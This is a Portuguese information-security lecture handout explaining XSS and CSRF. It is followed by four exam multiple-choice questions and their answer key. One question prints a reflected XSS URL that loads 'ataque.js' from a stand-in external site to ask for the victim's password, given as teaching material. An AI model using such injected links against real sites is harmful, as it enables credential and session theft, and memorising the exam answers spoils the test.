Segurança da Informação

ATAQUES VI

Professor: Jósis Alves

Técnicas de Ataques

❑ Cross Site Scripting – CSS ou XSS

Ameaça que consiste na injeção de códigos maliciosos script (JavaScript ou VBScript) em um campo texto de uma página já existente, que o usuário confia.

Explora a confiança do cliente no servidor.

Ex: Simular a página de *login* do *site*, capturar os valores digitados e enviá-los a um *site* que os armazene.

❑ Cross Site Scripting – CSS ou XSS

- **Persistente (Stored)**

Neste caso específico, o código malicioso pode ser permanentemente armazenado no servidor web/aplicação, como em um banco de dados, fórum, campo de comentários etc.

Atinge um grande número usuários.

- **Não-persistente (Refletida)**

A injeção maliciosa é feita somente para aquela solicitação feita pelo usuário. Consequências: sequestro de sessões, roubo de credenciais, ou realização de atividades arbitrárias.

1) Ano: 2018 Banca: CESPE / CEBRASPE Órgão: STJ Prova: CESPE - 2018 - STJ - Técnico Judiciário - Desenvolvimento de Sistemas

No desenvolvimento de software, devem ser previstas validações ou codificações nas entradas realizadas pelo usuário de modo a evitar ataques cross-site scripting (XSS), que ocorrem quando um invasor usa um aplicativo web para enviar códigos mal-intencionados, geralmente na forma de um script do lado do navegador.

( ) certo ( ) errado

❑ Cross Site Request Forgery - CSRF

Explora a **confiança do servidor no navegador (cliente).**

Após a autenticação, os arquivos de sessão (cookies) são capturados pelo atacante.

Atacante insere requisições.

2) Ano: 2018 Banca: FAURGS Órgão: TJ-RS Prova: FAURGS - 2018 - TJ-RS - Analista de Suporte

Que tipo de ataque malicioso a um site web se caracteriza pelo envio de comandos não autorizados por parte de um usuário em que esse site confia?

A) CSRF (Cross-Site Request Forgery).
B) CIFS (Cross InFiltration Site).
C) Hardening.
D) Spoofing.
E) XSS (Cross-Site Scripting).

3) Ano: 2019 Banca: IADES Órgão: AL-GO Prova: IADES - 2019 - AL-GO - Segurança da Informação

Esse é um ataque no qual o agressor insere código a ser executado por um cliente em uma aplicação web. O código então será visto por outros usuários, e o software do cliente executa essas instruções.

STALLINGS, W. Cryptography and network security: principles and practice. Londres: Pearson, 2017. Tradução livre.

O trecho apresentado refere-se especificamente ao ataque

A) buffer overflow.
B) cross-site scripting (XSS).
C) code injection.
D) cross-site request forgery (XSRF).
E) structured query language (SQL) injection.

4) Ano: 2017 Banca: FCC Órgão: TRE-PR Prova: FCC - 2017 - TRE-PR - Técnico Judiciário - Programação de Sistemas

Considere uma aplicação em que um usuário efetua o login e, posteriormente, é redirecionado para uma tela principal. Isto poderia acontecer por meio de uma URL como a seguinte:

http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario

Nesta URL, idusuario indica a conta com a qual o usuário se autenticou no website. Suponha, agora, que o usuário USER acessou a aplicação e não fez o logoff de sua sessão enquanto estava ativa. Após certo tempo, o usuário USER recebe um e-mail no qual um hacker se faz passar pela empresa que mantém o website. O e-mail fornece um link disfarçado que redireciona USER para uma URL como esta:

http://www.aplicacaoweb.com.br/Default.aspx?usuario=idusuario<script

src='http://sitedesconhecido.com/ataque.js'>solicitarSenha();</script>

4) Ano: 2017 Banca: FCC Órgão: TRE-PR Prova: FCC - 2017 - TRE-PR - Técnico Judiciário - Programação de Sistemas

Note que o parâmetro usuario contém também uma referência para um arquivo Javascript localizado em outro website. Caso USER clique no link, o código existente no endereço externo solicitaria que ele informasse novamente sua senha e, em caso afirmativo, o atacante receberia a informação desejada, podendo também roubar outras informações presentes em cookies e na sessão ativa naquele instante.

A situação apresentada configura um ataque do tipo

A) Cross-Site Request Forgery (CSRF).
B) Cross-Site Scripting Request (CSSR).
C) Cross-Site DOM-Reflected (CSSDR).
D) Cross-Site Request Forgery-Automation Attack (CSRF-AA).
E) Cross-Site Scripting (XSS).

GABARITO
1 - certo
2 - A
3 - B
4 - E